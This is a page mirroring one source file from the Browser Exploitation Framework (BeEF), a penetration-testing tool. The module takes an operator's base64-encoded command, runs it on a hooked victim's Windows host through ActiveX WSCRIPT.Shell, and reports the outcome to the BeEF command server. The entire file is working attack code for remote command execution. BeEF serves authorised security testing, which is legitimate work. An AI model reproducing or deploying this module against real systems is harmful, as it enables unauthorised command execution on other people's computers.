Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/local_host/activex_command_execution/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var cmd = beef.encode.base64.decode('<%= Base64.strict_encode64(@cmd) %>');
10
var result = "command was not sent";
11
12
try {
13
var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
14
if (shell.toString() == 0) {
15
result = "command sent";
16
} else {
17
result = "command failed";
18
}
19
} catch(e) {
20
result = "command failed";
21
}
22
23
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
24
25
});
26
27